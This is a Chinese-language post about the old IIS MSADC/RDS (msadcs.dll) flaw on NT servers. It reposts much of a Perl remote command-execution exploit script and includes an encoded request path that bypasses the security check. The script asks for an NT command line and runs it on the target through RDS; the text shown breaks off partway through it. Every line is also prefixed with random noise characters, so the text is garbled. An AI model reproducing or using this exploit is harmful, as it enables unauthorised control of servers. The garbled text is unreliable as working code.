IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
PwnfXsR =wznkqyhi 涉及程序:
!CUM*<iV Microsoft NT server
vD76IG j m 3$4I 描述:
{[~dI ~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G *
=> sL)7MtNwy 详细:
"EBCf.3- 如果你没有时间读详细内容的话,就删除:
Q9k;PJ`@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
^VsE2CX 有关的安全问题就没有了。
WDJ rN 4}-G<7* 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
1h3`y lUIh0%O 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
sspGB>h8l 关于利用ODBC远程漏洞的描述,请参看:
y7vA[us 4m!w<c0NL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm } 8[ /^$n&gI 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
PQ 2rNY6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp a
y$CUw pfQ3Y$z 这里不再论述。
?{%"v\w 9L>73P{_ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
y*!8[wASHq l
p|`n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qNWSDZQ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5a|{ytP S5\KI+;PW f h:wmc' #将下面这段保存为txt文件,然后: "perl -x 文件名"
nh? JiH
{ 9^E!2CJ #!perl
D*'sO B( #
B\tm # MSADC/RDS 'usage' (aka exploit) script
iL|5}x5\ #
ujf7r`;u. # by rain.forest.puppy
l[^0Ik-G #
Q_`EKz;N{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:}CcWfbT # beta test and find errors!
&aPR" X O*yA50Cn use Socket; use Getopt::Std;
h0")NBRV& getopts("e:vd:h:XR", \%args);
pGr4b:N ?3gf)g= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
DDj:(I?,w AWg'J if (!defined $args{h} && !defined $args{R}) {
HMhdK print qq~
,z#S=I Usage: msadc.pl -h <host> { -d <delay> -X -v }
/4;Sxx- -h <host> = host you want to scan (ip or domain)
h-\Ov{~ -d <seconds> = delay between calls, default 1 second
vlFq-W! -X = dump Index Server path table, if available
X|C=Q -v = verbose
+v/-qyA -e = external dictionary file for step 5
^O!;KIe{g TLq^5,qG Or a -R will resume a command session
6?a z .yHi"ss3 ~; exit;}
=t
%;mi,M gHFQs](G. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3R%yKa# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i:Gyi([C if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~=9S AJr] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Qe_C^(P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rONz*ly|i if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
WLiF D. N*+WGsxl$z if (!defined $args{R}){ $ret = &has_msadc;
|Xt6`~iC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_na/&J6 yb,$UT"] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
i(kx'ua? . "cmd /c ";
<o/l K\> $in=<STDIN>; chomp $in;
Vi>P =i $command="cmd /c " . $in ;
.>S1do+ J>"qeR
/ if (defined $args{R}) {&load; exit;}
+
Y!:@d s^m`qi(H print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
p0PK-e`@: &try_btcustmr;
'F3@Xh sFHqLG{/ print "\nStep 2: Trying to make our own DSN...";
KwgFh#e &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
([#'G+MC&